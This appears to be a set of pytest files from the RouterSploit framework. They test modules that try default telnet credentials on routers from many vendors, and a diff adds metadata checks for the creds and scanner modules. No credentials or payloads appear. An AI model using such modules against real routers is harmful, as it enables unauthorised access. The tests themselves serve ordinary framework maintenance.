from routersploit.modules.creds.routers.cisco.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.comtrend.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.dlink.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.fortinet.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.huawei.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.ipfire.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.juniper.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.linksys.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.mikrotik.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.movistar.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.netcore.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.netgear.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.netsys.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.technicolor.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.thomson.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.tplink.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.ubiquiti.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.zte.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.zyxel.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -2,11 +2,12 @@ import pytest
from routersploit.core.exploit.utils import iter_modules
@pytest.mark.parametrize("exploit", iter_modules("./routersploit/modules/exploits/"))
@pytest.mark.parametrize("exploit", iter_modules("./routersploit/modules/exploit"))
def test_exploit_info(exploit):
info = exploit._Exploit__info__
assert isinstance(info, dict)
assert "name" in info
assert isinstance(info["name"], str)
......@@ -21,3 +22,41 @@ def test_exploit_info(exploit):
assert "devices" in info
assert isinstance(info["devices"], tuple)
@pytest.mark.parametrize("creds", iter_modules("./routersploit/modules/creds"))
def test_exploit_info(creds):
info = creds._Exploit__info__
assert isinstance(info, dict)
assert "name" in info
assert isinstance(info["name"], str)
assert "description" in info
assert isinstance(info["description"], str)
assert "authors" in info
assert isinstance(info["authors"], tuple)
assert "devices" in info
assert isinstance(info["devices"], tuple)
@pytest.mark.parametrize("scanner", iter_modules("./routersploit/modules/scanners"))
def test_exploit_info(scanner):
info = scanner._Exploit__info__
assert isinstance(info, dict)
assert "name" in info
assert isinstance(info["name"], str)
assert "description" in info
assert isinstance(info["description"], str)
assert "authors" in info
assert isinstance(info["authors"], tuple)
assert "devices" in info
assert isinstance(info["devices"], tuple)
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment